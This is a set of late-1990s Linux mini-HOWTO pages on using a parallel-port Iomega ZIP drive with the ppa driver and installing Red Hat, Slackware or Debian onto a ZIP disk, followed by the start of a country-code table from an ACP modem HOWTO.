 Next Previous Contents

7. Performance

With the standard version of the 2.0.x kernels you get the 0.26 version of the ppa.c program. This is a very reliable simple program. It has gotten a lot of use and abuse and held up rather well. The only bad thing about this program is that it's not very fast. On my machine I have version 2.0.30 kernel, and 2 parallel ports. This is also a low-buck machine pentium 133 - 16 meg memory, 5 gig maxtor eide hard drive. The machine cost me 500. U.S. Dollars and the drive was 250. I am cheap but so what.

I had the ZIP drive on the second port and the printer on the first port. The second port was an old add in card, no epp mode. This made the driver run in 4 bit mode.

To base line the performance I copied the netscape tar file from the hard drive to the zip drive. This file is about 10.6 meg. Time 7 minutes 15 seconds. Going from the zip drive to the hard drive was about 7 minutes even. Not exactly setting the world on fire.

I then made 2 changes. First I switched the ZIP drive to the first port and went into the bios and set EPP mode on for the first port. At the same time I hooked up the printer to the 2nd port.

Second change I went out and downloaded the new version of the program from David Campbells page Then I installed this program. Check out the readme file that is included.

Then I ran the same test again of copying the Netscape tar file to and from the ZiP drive. The copy to the C drive was 1:55 seconds. From the hard drive to the Zip drive was 1 minute flat. This compares to 7:15 and 7:00 with the old program. This was a big improvement over the 0.26 program. This was also using the zip drive as a vfat file type.

Next I formated a zip drive in ext2 format. Ran the same test again. The copy going to the hard drive was only 50 seconds. The copy from the hard drive to the Zip drive was only 40 seconds.

Performance Summary

For this test case of moving a 10.6 meg file, the 4 bit standard port mode and program version 0.26 is the slowest 7:00 and 7:15

The new program (1.41) and EPP mode with ext2 file types is the fastest at 50 seconds and 40 seconds.


Zip Drive Mini-HOWTO: Frequently asked questions

 Next Previous Contents

8. Frequently asked questions

These are some of the questions that we get asked a lot. Please read the answers here before asking them again !

8.1 Can I plug a printer into the parallel ZIP drive ?

Yes, but. Currently, you cannot have both the lp and ppa drivers active on the same parallel port. A resource sharing protocol has been designed and is in the early stages of implementation, but will not be available before Linux 2.0 is released.

If you like living on the bleeding edge of things, get the 2.1.x kernel and you can have port sharing. See http://www.cyberelk.demon.co.uk/parport.html

The easy way to do this with 2.0.x kernel is to have 2 parallel ports. I bought my second one for about 15 dollars and it works great. You can use one for printing and one for your ZIP drive. Just build a kernel with both the lp and ppa drivers as modules. I use the newer (1.41) version of ppa, so I just load ppa first (insmod ppa). It then finds the zip drive on the first port. Then I load lp (insmod lp) and it assigns the printer to the second port.

If you use the 0.26 version of the program then upgrade to 1.41 or newer. The only answer you will get on qustions about this driver is to upgrade the program.

8.2 Do you plan to support EPP/ECP ports in PPA ?

Version 0.26 of the program does not support EPP. Version 1.41 does support the EPP. This program is also much faster. See the performance section for more details.

8.3 Can I run Linux from a ZIP drive ?

People have done this. It would seem this might make a great rescue disk or a way to test an install.

http://metalab.unc.edu/LDP/HOWTO/mini/ZIP-Install.html

8.4 Can I boot from the ZIP drive ?

This depends on what you are using for a host adapter. If your host adapter has a BIOS ROM with code that can boot from target 5 or 6, then yes, you can boot from the SCSI ZIP drive. You cannot boot from a parallel port drive.

If you have DOS on your main disk and want to boot Linux from a ZIP disk, you can do this using the LOADLIN boot loader. Your kernel image must be somewhere on the DOS disk, but the rest of your Linux system could be on the ZIP. Make sure that the kernel you use has the correct drivers built in.

As far as I am aware, there are no installation boot floppies for any of the popular distributions that contain the parallel ZIP driver.

8.5 Why does Iomega use partition number 4 ?

This is one of the most popular questions, but I don't think anyone has a definite answer to this one. Could be they had their head where the sun don't shine. Maybe there is no reason.

8.6 How can I have the disk mounted at boot time ?

All you need to do is to add a line to your /etc/fstab file. For instance, if you will always have a DOS disk in the drive when you boot, you could put

       /dev/sda4   /zip  vfat  defaults  0 0

in the fstab. Depending on your distribution, the initialization scripts might try to run fsck on partitions listed in your fstab. Be aware that this could cause problems if you forget to put the disk in the drive when you boot, or have the wrong disk there.

8.7 What happens if there is no disk inserted when I boot ?

The kernel will try to read the partition table, but the operation will time out. There is nothing to worry about. Once you have inserted a disk, and try to do something with it the kernel will notice that there is a disk there now and rescan the partition table.

HINT: when you change disks, it is a good idea always to use fdisk to check the partition structure on the new disk.

The BIOS on some SCSI host adapters will attempt to read the partition table on your disk during the system boot. If you cannot disable this check, you may be forced always to boot with a disk in the drive.

8.8 Can I use the parallel drive as a real SCSI disk ?

The PPA-3 parallel-to-SCSI adapter is implemented as a single ASIC chip that Iomega calls a VPI0. It is embedded on the ZIP drive's controller card. There is an actual SCSI bus present, but not in a useful form.

Although I haven't tried to compare the two cards, it seems logical that the VPI0 replaces the conventional electrical buffering circuits that would be required if the SCSI bus were extended outside the package.

8.9 Can PPA be used with Iomega's parallel port tape drives ?

No. Those drives are floppy-tape drives. There is no SCSI involved.

Several people have indicated an interest in applying my methods to try to determine the protocol and develop a driver for these tapes. The first step in that process is to get the DOS driver working under DOSemu. I have not yet heard that anyone has been successful in doing it.

8.10 Will PPA work with the parallel port SyQuest EZ135 ?

No. The EZ135 is an IDE drive with a ShuttlePort parallel to IDE converter embedded in it.

However there has been some work done on this driver. Check out

http://www.torque.net/linux-pp.html


Zip Drive Mini-HOWTO: Getting more current information

 Next Previous Contents

9. Getting more current information

More current versions of the parallel port zip drive (ppa.c) program and current technical information of the driver can be found at

http://www.torque.net/~campbell/

Information of many parallel port external device drivers can be found at

http://www.torque.net/linux-pp.html

Parallel Port sharing or through-port information is found at

http://www.cyberelk.demon.co.uk/parport.html

Installing Linux from a zip drive (for machines without a CD)

http://metalab.unc.edu/mdw/HOWTO/mini/Install-From-ZIP.html

An X frontend to the ziptool program can be found at

http://www.scripps.edu/~jsmith/jazip/

Information on configuration of Lilo can be found at

http://metalab.unc.edu/mdw/HOWTO/mini/LILO.html

Information on using bootprompts can be found at

http://metalab.unc.edu/mdw/HOWTO/BootPrompt-HOWTO.html

If you want to install the Linux OS onto a Zip Drive and run the OS from the Zip drive

http://metalab.unc.edu/LDP/HOWTO/mini/ZIP-Install.html

Iomega's web pages are at

http://www.iomega.com/.

And if you are looking for general information about parallel port programming for the PC, you might want to visit

http://www.lvr.com/parport.htm


Installing Linux on ZIP disk using ppa ZIP Drive Mini-Howto

John Wiggins, jwiggins@comp.uark.edu

v0.7, 26 January 1998

This document is only useful for those with the printer port version of a ZIP drive who wish to have either a portable or backup Linux system on a ZIP disk.

1. Disclaimer

2. Introduction

  • 2.1 What's new
  • 2.2 Conventions
  • 2.3 Updates
  • 2.4 References

3. Setting up the ZIP disk

  • 3.1 Partitioning ZIP disk
  • 3.2 Formatting and mounting the ZIP disk
  • 3.3 Creating the boot disk

4. Red Hat 4.2 installation

  • 4.1 Personal setup
  • 4.2 Package installation
  • 4.3 Problems after installation of packages

5. Slackware 2.2 installation

  • 5.1 Requirements
  • 5.2 Installation
  • 5.3 What to install

6. Creating /etc/fstab

7. Debian 1.2 Installation

  • 7.1 Requirements
  • 7.2 Overview
  • 7.3 Creating the modified Rescue disk
  • 7.4 Install the base system on the ZIP drive.
  • 7.5 Creating the boot disk
  • 7.6 Reboot the system.
  • 7.7 Configure the base system and complete the install process.
  • 7.8 Installing the modules you built in step 7.3.2.

8. Afterthoughts


Installing Linux on ZIP disk using ppa ZIP Drive Mini-Howto: Disclaimer

 Next Previous Contents

1. Disclaimer

NOTE: I have no idea if the IDE drive works the same way as the printer port version does since I don't have one, so please don't ask me.

The Debian install portion was basically just copied with little or no editing by this author. As such, there may be some duplication of instructions.

This document assumes the following:

  • You have a printer port ZIP drive (since the ZIP Plus has both, I assume that it will work as well.)
  • You already have Linux installed and running; this document is not for a first time install of Linux.
  • You have ppa support in your current kernel or if module, the ppa module has been loaded.
  • The mount point for the ZIP disk is the /iomega directory.


Installing Linux on ZIP disk using ppa ZIP Drive Mini-Howto: Introduction

 Next Previous Contents

2. Introduction

This document is divided into four basic sections each describing how to install a bare-bones Linux system on a 100MB ZIP disk using a printer port ZIP drive. The first section describes how to set up the ZIP disk and is common to both Red Hat and Slackware distribution installations. The second, third, and fourth sections describe how to install Red Hat 4.2, Slackware 2.2, and Debian 1.2 distributions, respectively, onto the ZIP disk.

NOTE: I realize that Red Hat 5.0 has been released now, but between classes and work, well let's just say that it may be late May before I can get around to work on it. I also, hopefully, will be testing out the other distributions.

2.1 What's new

I've finally found enough time (although I really should be studying for a sociology test...) to update this document. Thanks for all who emailed me with comments.

New to this document:

  • The Debian distribution
  • LILO on the floppy
  • New version of Red Hat (4.2 Biltmore)
  • Network configuration (For Red Hat; Untested)

2.2 Conventions

Indicates the following text are commands:

==> Indicates something noteworthy:

  NOTE:
Indicates a screen shot/capture:
      Text here.

2.3 Updates

For any updates, however rare they may be, please check: http://comp.uark.edu/~jwiggins/linuxZIP/

2.4 References

  • Installation-HOWTO
  • SCSI-HOWTO
  • NET-3-HOWTO (for section 4.3.3)
  • ZIP-Drive (mini-HOWTO)
  • ParPort kernel patch (gives access to pass-through printer port) http://www.cyberelk.demon.co.uk/parport/

Acknowledgments/Contributors

Slackware 2.2 section courtesy of Michael Littlejohn mike@mesa7.mesa.colorado.edu

Debian 1.2 section courtesy of John D. Blair jdblair@uab.edu

LILO information and many other helpful insight courtesy of Darcy Boese possum@niagara.com and Javier Rodriguez jrodrigu@nextgeninter.net.mx


Installing Linux on ZIP disk using ppa ZIP Drive Mini-Howto: Setting up the ZIP disk

 Next Previous Contents

3. Setting up the ZIP disk

(Common for both Red Hat and Slackware distributions.) Before starting, make sure that you have access to the ZIP drive; either by having ppa in the kernel or by having the ppa module loaded. One easy way to find this out is by checking dmesg:

==> dmesg

You may have to pipe this to more as dmesg tends to be rather long. Here's a snip from mine:

scsi0 : PPA driver version 0.26 using 4-bit mode on port 0x3bc.
scsi : 1 host.
  Vendor: IOMEGA    Model: ZIP 100           Rev: D.08
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi removable disk sda at scsi0, channel 0, id 6, lun 0
SCSI device sda: hdwr sector= 512 bytes. Sectors= 196608 [96 MB] [0.1 GB]
 sda: Write Protect is off
 sda: sda1 sda2

If you only see something like:

   scsi : 0 hosts.
   scsi : detected total.
then you have SCSI support but the ZIP wasn't found.

3.1 Partitioning ZIP disk

To partition the ZIP disk, run fdisk:

==> fdisk /dev/sda/

Here is a snap of the partition table I have setup:

 Disk /dev/sda: 64 heads, 32 sectors, 96 cylinders
 Units = cylinders of 2048 * 512 bytes

    Device Boot   Begin    Start      End   Blocks   Id  System
 /dev/sda1            1        1       81    82928   83  Linux native
 /dev/sda2           82       82       96    15360   82  Linux swap
I decided to use a swap partition since I wanted to be able to use this with any machine.

3.2 Formatting and mounting the ZIP disk

After running fdisk, format the new partition:

==> mke2fs -c /dev/sda1

Then, create the swap partition: (15360 blocks as taken from fdisk)

==> mkswap -c /dev/sda2 15360

Last, you'll need to mount the ZIP disk:

==> mount /dev/sda1 /iomega -t ext2

3.3 Creating the boot disk

Since the ppa version of the ZIP drive isn't a true SCSI device, it isn't a bootable device and, therefore, requires a boot disk which has ppa included in the kernel and not as a module.

Configuring and making the kernel

First, you'll need to configure and make a kernel that has ppa support enabled and not as a loadable module. In order to get to the ppa option, select SCSI support:

SCSI support (CONFIG_SCSI) [Y/m/n/?]

Plus, SCSI disk support:

SCSI disk support (CONFIG_BLK_DEV_SD) [Y/m/n/?]

And finally, under the SCSI low-level drivers, is the ppa support:

IOMEGA Parallel Port ZIP drive SCSI support (CONFIG_SCSI_PPA) [Y/m/n/?]

Again, be sure not to include ppa as a module, but rather in the kernel. Thus far, without the use of the parport kernel patch (see 1.4), the ppa driver will not allow the passive port of the ZIP drive to be used for a printer, so you may want to say no to parallel printer support:

Parallel printer support (CONFIG_PRINTER) [N/y/m/?]

  NOTE: For more information concerning the ppa driver, please
        refer to the ZIP-Drive mini-HOWTO.

Once the kernel is configured, make the kernel:

==> make dep; make clean; make zImage

The new kernel should be found in arch/i386/boot/zImage.

Getting the kernel to a floppy

After having to have 4 separate floppies due to different kernels and needing different parameters, (plus the great email I got telling me how to do this) I have included a section on LILO as one of the means of creating a bootable floppy.

LILO installation

For those who have to, or for that matter just want to, have several kernels on one floppy (now adays, mine are too large) or just want to be able to pass arguments (such as single user mode) I received email on how to install LILO on a floppy.

Creating the ext2 filesystem

To create an ext2 filesystem on a floppy, just do the same command for the ZIP disk:

==> mke2fs -t /dev/fd0

Copying the essential files

Next, make sure there's a directory for a mount point, and mount the floppy (I used /mnt/floppy):

==> mount /dev/fd0 /mnt/floppy -t ext2

is to boot properly, you'll need the same files that LILO uses on your current Linux installation.

    NOTE: The file locations here are from my machine
          and may not be the same for everyone.

==> cp /boot/boot.b /mnt/floppy

==> cp /boot/map /mnt/floppy

==> cp /usr/src/linux/arch/i386/boot/zImage /mnt/floppy/vmlinuzDESK

Now to create the config file for LILO, now I miss the liloconfig program... (Thanks to Javier Rodriguez for this info) First, create the LILO config file, /mnt/floppy/lilo.conf, for the kernel(s) for the ZIP disk. Here's what I used so that I could have different kernels to test with:

boot=/dev/fd0
map=/mnt/floppy/map
install=/mnt/floppy/boot.b
prompt
compact
timeout=50
image=/mnt/floppy/vmlinuzLAP
   label=Laptop
   root=/dev/sda1
   read-only
image=/mnt/floppy/vmlinuzDESK
   label=Desktop
   root=/dev/sda1
   read-only
image=/mnt/floppy/vmlinuzDESK
   label=rescue
   root=/dev/hdc1
   read-only
I have two kernels, one for my 486 laptop which required the math-co emulation in the kernel and the other for my desktop. The rescue allows me to make an emergency boot to the hard drive.

Last but not least, with the floppy still mounted, run LILO to install it on the floppy with the command:

==> lilo -C /mnt/floppy/lilo.conf

Once LILO has been installed on the floppy, skip the next two steps, unless you enjoy doing this over again :)

Kernel only installation

   NOTE: This does not pertain for the LILO install.

Copy the newly made kernel to a floppy disk:

==> cp arch/i386/boot/zImage /dev/fd0

or

==> cat arch/i386/boot/zImage > /dev/fd0

Yes, there are many ways to copy the kernel to a floppy, but the last way, my favorite, is a little more encrypted. Try not to forget the > unless you like viewing binary files :)

Setting the root and swap on the floppy

   NOTE: This does not pertain for the LILO install.

Once the kernel is on the floppy, you need to set the root device to the ZIP disk: ==> rdev /dev/fd0 /dev/sda1 I'm not sure if the next option is needed, but I did it none the less. To set the swap:

==> rdev -s /dev/fd0 /dev/sda2


Installing Linux on ZIP disk using ppa ZIP Drive Mini-Howto: Red Hat 4.2 installation

 Next Previous Contents

4. Red Hat 4.2 installation

With anything computer related, something 3 months old is considered obsolete and is in need of upgrading. Since I'm not always going to have the time to update this document with every update, I'll try my best to at least update it every other version. As for the other distributions, unless the authors wish to send updates, they well remain as they are.

4.1 Personal setup

For my installation, I have and used:

  • Kernel 2.0.30
  • Iomega ppa disk drive
  • Red Hat 4.2

4.2 Package installation

When I first decided to attempt to install Red Hat on a ZIP disk, I figured it would be much easier to just use a Red Hat boot disk. Then I woke up. I came very close to actually getting a boot disk created, even got help from various folks at Red Hat via e-mail but ultimately I began to give up on the whole project when I discovered the --root option with rpm.

What packages to get

I found what packages to install by browsing a file I had found on one of Red Hat's mirrors. This file can be found on any mirror at:

  redhat/redhat-4.2/i386/RedHat/base/comps

For this installation, I wanted to include network support but due to Red Hat's X network configuration, I'm going to have to manually configure, or rather manually attempt to configure, the network setup scripts found in /etc/sysconfig/ (see section 4.3.3.)

I decided against installing any development packages as the ZIP drive, at least an unpatched kernel version, is rather slow to get anything to compile. I also choose not to install X mainly for disk space issues. Later on, I may attempt to mount my hard drive and create a symlink with /usr to see if I can get X to work.

Following is a list of what packages I installed, listed in order of installation. Those marked with a * have updates from Red Hat's errata. In parentheses is the updated package number;

e.g. NetKit-B-0.09-6 was updated to NetKit-B-0.09-8 so the entry
    would be: *91) NetKit-B-0.09-6 (-8)

      (List created by the command rpm --root /iomega -qa)

       1) setup-1.7-2                   2) pamconfig-0.51-2
       3) filesystem-1.3-1              4) MAKEDEV-2.2-9
       5) adduser-1.7-1                 6) libc-5.3.12-18
       7) SysVinit-2.64-8               8) ash-0.2-8
       9) at-2.9b-2                    10) libtermcap-2.0.8-4
      11) bash-1.14.7-1                12) bc-1.03-6
      13) bdflush-1.5-5                14) cpio-2.4.2-4
      15) cracklib-dicts-2.5-1         16) tmpwatch-1.2-1
      17) crontabs-1.5-1              *18) db-1.85-10 (-11)
      19) dev-2.5.1-1                  20) diffutils-2.7-5
      21) etcskel-1.3-1                22) file-3.22-5
      23) fileutils-3.16-1             24) findutils-4.1-11
      25) grep-2.0-5                   26) groff-1.10-8
     *27) ld.so-1.7.14-4 (-5)          28) getty_ps-2.0.7h-4
      29) gzip-1.2.4-7                 30) mingetty-0.9.4-3
     *31) initscripts-2.92-1 (93-1)    32) ed-0.2-5
      33) info-3.9-1                   34) ncurses-1.9.9e-4
      35) libg++-2.7.1.4-5            *36) pwdb-0.54-3 (-4)
      37) rootfiles-1.5-1             *38) pam-0.57-2 (-4)
      39) redhat-release-4.2-1         40) less-321-3
      41) mount-2.5l-2                 42) zlib-1.0.4-1
      43) rpm-2.3.11-1                 44) e2fsprogs-1.10-0
      45) sysklogd-1.3-15              46) tar-1.11.8-11
      47) passwd-0.50-7                48) gawk-3.0.2-1
      49) gdbm-1.7.3-8                 50) gpm-1.10-8
      51) hdparm-3.1-2                 52) kbd-0.91-9
      53) slang-0.99.37-2              54) newt-0.8-1
      55) kbdconfig-1.4-1              56) ncompress-4.2.4-7
     *57) sh-utils-1.16-4 (-5)         58) procinfo-0.9-1
     *59) logrotate-2.3-3 (4-1)        60) lilo-0.19-1
      61) losetup-2.5l-2               62) linuxthreads-0.5-1
     *63) mkinitrd-1.6-1 (7-1)         64) mailcap-1.0-3
     *65) man-1.4h-5 (j-1)             66) mt-st-0.4-2
      67) modules-2.0.0-5              68) mailx-5.5.kw-6
      69) net-tools-1.32.alpha-2       70) procmail-3.10-10
      71) procps-1.01-11               72) psmisc-11-4
      73) quota-1.55-4                 74) readline-2.0-10
      75) sed-2.05-6                   76) setconsole-1.0-1
      77) sendmail-8.8.5-4             78) shadow-utils-960530-6
      79) stat-1.5-5                   80) tcsh-6.06-10
      81) termcap-9.12.6-5             82) textutils-1.22-1
      83) time-1.7-1                   84) timeconfig-1.8-1
      85) util-linux-2.5-38            86) vim-4.5-2
      87) vixie-cron-3.0.1-14          88) which-1.0-5
      89) zoneinfo-96i-4               90) tcp_wrappers-7.5-1
     *91) NetKit-B-0.09-6 (-8)        *92) lpr-0.18-1 (19-1)
     *93) bind-4.9.5p1-2 (9.6-1)      *94) bind-utils-4.9.5p1-2 (9.6-1)
     *95) wu-ftpd-2.4.2b12-6 (b15-1)   96) anonftp-2.3-3
      97) zip-2.1-1                    98) unzip-5.12-5
      99) statserial-1.1-7            100) minicom-1.75-2
     101) lrzsz-0.12.14-1             102) dip-3.3.7o-9
     103) ppp-2.2.0f-3                104) portmap-4.0-3
     105) perl-5.003-8               *106) traceroute-1.0.4.4bsd-2 (1.4a5-1)
    *107) elm-2.4.25-7 (-8)           108) lynx-2.6-2
     109) ncftp-2.3.0-5               110) pine-3.95-2
     111) rdate-0.960923-1            112) apache-1.1.3-3
    *113) nfs-server-2.2beta16-7     *114) nfs-server-clients-2.2beta16-7
          (2.2beta16-8)                    (2.2beta16-8)
And with all the above installed, I still have 32MB left!

Updates; errata

As many, I hope, Red Hat users know, some packages may be found to have some security flaws or anything else which may cause issues to arise. For this reason, Red Hat releases updates for such packages. I have updated what packages I had which had updates and are marked in the above list. Please refer to Red Hat's web page concerning the updated packages at:

http://www.redhat.com/support/docs/rhl/rh42-errata-general.html

   NOTE: Before you can update the packages, you'll have to
         run the ldconfig as described in section 3.3.1.1.

How to install packages with rpm; without glint

With rpm, use the --root option to specify the mounted directory as the root for installation. I had discovered that many packages were failing to install becuase of preinstall or postinstall scripts that weren't executing correctly due to the different root directory, thus, use the --noscripts option:

==> rpm --root /iomega -i --noscripts PACKAGE.i386.rpm

As I'm sure many will notice, you should get an error message like:

  failed to open /iomega/var/lib/rpm/packages.rpm

  error: cannot open /iomega/var/lib/rpm/packages.rpm
So, just create the var/lib/rpm directory :)

==> mkdir /iomega/var; mkdir /iomega/var/lib; mkdir /iomega/var/lib/rpm

Which came first, pamconfig or pam?

If anyone's tried to install pamconfig, it'll complain about a failed dependency of pam; and when you go try to install pam, pam complains about a failed dependency of pamconfig! This, being the chicken or the egg issue, puzzled me for a while, but thanks to the --nodeps flag, we can force pamconfig to install; besides pam has more failed dependencies than just pamconfig.

==> rpm --root /iomega -i --nodeps --noscripts pamconfig-0.51-2

4.3 Problems after installation of packages

Once everything is all nicely installed, unfortunately, the disk is not fully functionable, if that's a word. What I mean to say is, if you try to boot now with the floppy, you won't get very far. As soon as init tries to start up, you'll get two lovely errors; both of which complain about some files not being found that would have been made had the scripts been run.

The case of the missing /etc/ld.so.cache and libc.so.5

If you tried booting, you'd get two error messages, the first will be the abscence of /etc/ld.so.cache file. The second complains about a missing libc.so.5.

/etc/ld.so.cache

As mentioned by many readers, my previous instructions didn't quite work as stated. In order to get this file created, you'll have to run ldconfig while the ZIP disk is still mounted:

==> chroot /iomega /sbin/ldconfig

Thanks to Javier Rodriguez for this solution.

libc.so.5

To solve the missing lib case, you'll have to create a symlink which would have been created by the installation scripts.

==> cd /iomega/lib; ln -s libc.so.5.3.12 libc.so.5

Thanks to Darcy Boese for this solution.

Setting root password

Just as ldconfig was ran in 4.3.1.1, you might as well change/create a root password for this new system:

==> chroot /iomega passwd root

What the install program created

       NOTE: This is just a very brief setup, one which I haven't
             been able to test to see if it works.  In theory it
             should, but please do not send me complaints saying
             that this didn't work.

While exploring my Red Had 4.2 CD-ROM, I came across something rather interesting; the source code for the install program. I found it under /misc/src/install and one thing which I found of some use was the net.c file. In this, I found what other files that would be created had the install program been run. Most of these just give network support (hince the name net.c) but even if you don't have a network card, you can still use localhost for networking (plus apache will complain about not being able to determine a hostname.) These files include:

      /etc/hosts
      /etc/HOSTNAME
      /etc/resolv.conf
      /etc/sysconfig/network
      /etc/sysconfig/network-scripts/ifcfg-eth0
      (or any other network device you may have.)

Networking setup

For this document, I wanted network support for my 3Com 3c595 fast-ethernet card (which for the last several months has been used in another machine.)

First I needed a name, and since I'm running my own name server (which is another long story) I gave myself the name: dash-dot.wig.org (I just liked the sound of it.) Having a name without an IP is kind of pointless, so I used a reserved non-internet usable network of 192.168.10.0 which my name server also uses. Even though the hostname is typically stored in /etc/HOSTNAME, Red Hat checks for /etc/sysconfig/network for this name; so let's start there. Sample of my /etc/sysconfig/network:

  NETWORKING=yes
  HOSTNAME=dash-dot
  DOMAINNAME=wig.org
  GATEWAY=
  GATEWAYDEV=eth0
  NS1=192.168.10.7
Next, bascially duplicate the same info here for /etc/HOSTNAME, /etc/resolv.conf, and /etc/hosts:

/etc/HOSTNAME:

dash-dot.wig.org

/etc/resolv.conf:

search wig.org
nameserver ns.wig.org

/etc/hosts:

127.0.0.1 localhost
192.168.10.99 dash-dot.wig.org dash-dot
192.168.10.7  ns.wig.org ns
Red Hat configures all network devices from scripts found in /etc/sysconfig/network-scripts. The configuration of any network device is usually first created via the install program so I had to create these config files manually. They all begin with ifcfg-XXX where XXX is the network interface which ifconfig brings up; e.g. ppp0, eth0, etc. For this example, I had to create a file called ifcfg-eth0 which contains the following:
  DEVICE=eth0
  ONBOOT=yes
  BOOTPROTO=none
  BROADCAST=192.168.10.255
  NETWORK=192.168.10.0
  NETMASK=255.255.255.0
  IPADDR=192.168.10.99
And last but not least, in order to get this going right now, while in the /etc/sysconfig/network-scripts directory, just run:

==> ./ifup ifcfg-eth0 boot

This will start the script which configures the network interface if that interface was set to start at 'boot' time.

For further information, please refer to the NET-3-HOWTO document.


Installing Linux on ZIP disk using ppa ZIP Drive Mini-Howto: Slackware 2.2 installation

 Next Previous Contents

5. Slackware 2.2 installation

    NOTE: This portion has not been updated.

5.1 Requirements

  • ZIP Disk and Drive (obviously)
  • Kernel with ZIP support
  • ZIP Howto (recommended)
  • 1.44" HD formated floppy
  • 1 to 2 hours of time

5.2 Installation

Okay, now comes the fun part: Figuring out what files need to be on the system disk, and what packages that you want (and can fit) on your ZIP drive.

I decided that the easiest way to get started was install Slackware directly to the ZIP drive. I decided on this approach mostly because Slackware is a smaller distribution then Red Hat, and it would be easier to trim out what I didn't want. That and the fact that I am using the Slackware distribution anyway made it an obvious choice.

Installing Slackware onto the ZIP disk is easy, as root run the setup program, and choose /iomega as the install to partition, set the install from partition to where the Slackware sources are (cdrom, hardrive, etc), select install and follow the prompts.

5.3 What to install

The hardest part is deciding what to add, and what not to add. Obviously, you'll need the 'A' series (Which is about 8 megs), the rest is up to you.

I managed to trim down the Slackware release to a respectable installation of 70 megs, which included gcc/g++, perl, X11R6 (NOT ALL OF IT!), sendmail, online docs (Minus all the development man pages, but including all the howto's), and an assortment of other goodies, while leaving about 10 megs free for user files. YMMV


Installing Linux on ZIP disk using ppa ZIP Drive Mini-Howto: Creating /etc/fstab

 Next Previous Contents

6. Creating /etc/fstab

(Common to both Red Hat and Slackware distributions)

The last thing that needs to be done before rebooting is to create the fstab file on the soon to be root partion. The following is what you should have as a minimum for /iomega/etc/fstab:

  /dev/sda1      /         ext2        defaults   1   1
  /dev/sda2      none      swap        sw
  none           /proc     proc        defaults   1   1
Save the file, and reboot with the freshly made boot floppy and enjoy!

(Special thanks to Mike for reminding me about this very important and crucial step. - John)


Installing Linux on ZIP disk using ppa ZIP Drive Mini-Howto: Debian 1.2 Installation

 Next Previous Contents

7. Debian 1.2 Installation

    NOTE: The author of this section sent this to me June, 11th 1997.

7.1 Requirements

  • Ppa ZIP drive and disk.
  • 2 blank 1.44 floppy disks
  • A complete set of Debian install disks (review the Debian install docs if you don't remember how to make these)
  • A couple hours of time

7.2 Overview

After spending a few hours wrestling with dpkg I decided it would be simpler to modify the Debian "Rescue" disk so that it would recognize the ppa ZIP drive. This proved to be very easy. You can then use this modified disk to procede through the normal Debian base system install. Once you've completed installing the base system you can use a boot disk to start the new base system and complete the installation using dselect. To use this technique you need to build two kernels - one with ppa and initial RAM disk support, and another without the RAM disk support.

If you want, you can skip all the steps in section 2 and let the Debian install procedure handle formatting the ZIP disk for you.

7.3 Creating the modified Rescue disk

The Debian rescue disk is a SYSLINUX style boot disk, which uses a DOS formatted floppy disk and a special boot loader to avoid loading MS-DOS. These disks are very easy to modify to start your own custom boot configuration. The Debian 'boot-floppies' package contains a set of scripts to automate the process of building boot disks. However, its so simple I found it easier to do the process by hand. This deviates a bit from the Debian philosophy, but I'm over it :). There are brief instructions in the 'readme.txt' file of the Rescue floppy.

Use dd (or RAWRITE under DOS) to create a new Rescue disk.

Review the Debian install docs if you don't remember how to do this.

Build a new kernel with ZIP ppa support

Build a new kernel with ZIP ppa support (as in step 3.3.1), but also configure RAM disk and initial RAM disk support. You also need to configure the msdos, fat, minix, ext2fs, and procfs filesystems.

Also configure any modules that you would like in your final installation on the ZIP disk.

Once the kernel is configured, build with:

==> make dep; make clean

==> make bzImage

Build the modules with:

==> make modules

You will install these later.

          NOTE: Make sure that you are using 'make bzImage', and
                not 'make zImage'.

Mount the new Rescue disk.

==> fdmount fd0

or

==> mount /dev/fd0 /mnt

or

==> whatever :)

Copy the kernel image

Copy the kernel image (on the i386 platform it will be located at arch/i386/boot/bzImage) to 'linux' on the floppy disk.

Editing the 'rdev.sh' script

Open the 'rdev.sh' script located on the Rescue floppy with your favorite editor. Change the last line: from--:

       'rdev /mnt/linux /dev/ram0'
to--:
       'rdev /mnt/linux /dev/sda1'

You will also have to change all occurences of /mnt/linux to the appropriate path. Since I mount my floppies under /fd0, I had to change /mnt/linux to /fd0/linux.

Run this modified 'rdev.sh' script.

==> ./rdev.sh

7.4 Install the base system on the ZIP drive.

Boot your modified Rescue disk. If all goes correctly you will be presented with the familiar Debian menu based install process, except that now it is aware of your ppa ZIP drive. Procede through this process as if you were installing the system on a normal hard drive, but mount /dev/sda1 as root and initialize /dev/sda2 as swap.

There is one deviation from the standard install process-- don't install and/or configure any loadable modules. You will install the modules you built in step 7.3.2 later.

7.5 Creating the boot disk

You can create the boot disk just as described in steps 3.3.1 to 3.3.2, or, if you want, just use the "Create Boot Disk" option during the Debian install. I like this second option because I get another SYSLINUX boot disk, allowing me to edit the greeting message to describe the nature of my custom boot floppy and allow me to enter additional kernel arguments. You can even include help files, accessible via the functions keys. You may still wish to rebuild the kernel and modify this boot disk by hand later to remove the RAM disk support. Your call.

7.6 Reboot the system.

Insert your boot disk and choose the 'Reboot' option from the install menu.

7.7 Configure the base system and complete the install process.

When the system reboots you will have a slow but completely workable Debian base installation running off of your ppa ZIP drive. Proceed normally with the installation at this point. I installed all the normal UNIX utilities, along with documentation sets, make, gcc, libraries, and various useful file manipulation utilities. The result is a very powerful emergency boot system that I can use to rescue any of the systems in our department in an emergency.

        NOTE: You'll at least need to install 'make' to
              complete the next step.

7.8 Installing the modules you built in step 7.3.2.

If you installed make in the last step, you should be able to mount the hard drive partition containing your kernel build, cd to the proper directory and run 'make modules_install'. Here's how I did it:

==> mount /dev/hda2 /mnt

==> cd /mnt/usr/src/linux

==> make modules_install

        NOTE: You won't need to modify the /etc/fstab file, as explained
              in step 5.  The Debian installation process has already
              taken care of that.


Installing Linux on ZIP disk using ppa ZIP Drive Mini-Howto: Afterthoughts

 Next Previous Contents

8. Afterthoughts

Whew, and sigh. After amassing 31 ZIP disks and a ZIP unleashed battery pack, my next experiment is to try to get pcmcia working for my laptop.


List of Supported Countries

Linux ACP Modem (Mwave) mini-HOWTO
Prev Next

6. List of Supported Countries

The following countries are supported by the ACP Modem driver

Table 1. List of Supported Countries

Country Name | Country Access Code
ALGERIA | 213
ANTIGUA_BARBUDA | 102
ARGENTINA | 54
ARMENIA | 374
ARUBA | 297
AUSTRALIA | 61
AUSTRIA | 43
AZERBAIJAN | 994
BAHAMAS | 103
BARBADOS | 104
BELARUS | 375
BELGIUM | 32
BERMUDA | 105
BOLIVIA | 591
BRAZIL | 55
BRUNEI | 673
BULGARIA | 359
CANADA | 107
